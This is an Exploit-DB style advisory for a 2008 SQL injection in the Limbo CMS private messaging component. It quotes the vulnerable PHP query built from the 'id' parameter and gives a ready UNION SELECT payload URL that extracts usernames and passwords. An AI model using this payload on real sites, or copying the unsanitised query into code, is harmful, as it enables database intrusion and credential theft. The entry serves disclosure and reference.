Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability

vendor:

Limbo CMS

by:

StAkeR

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Limbo CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability

A vulnerability in Limbo CMS (Private Messaging Component) allows remote attackers to inject arbitrary SQL commands via the 'id' parameter in a 'index.php?option=pms&page=open' call. An attacker can exploit this vulnerability to gain access to the database and execute arbitrary SQL commands.

Mitigation:

No known mitigation is available at this time.

Source

Exploit-DB raw data:

/*
   
   Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
   --------------------------------------------------------------------------
   StAkeR[at]hotmail[dot]it
   http://www.limboportal.com/index.php/option/downloads/task/download/id/108
   --------------------------------------------------------------------------

   com_privmsg/open.php
   
   31. if (isset($_GET['status']))
   32. {
   33. 	  header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
   34. }
   35. 
   36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
   37.
   
   
   - index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*
   
   (Syntax Error) Change number of columns (Ex: 0,0,0,username,password) 
   
   

*/

# milw0rm.com [2008-10-21]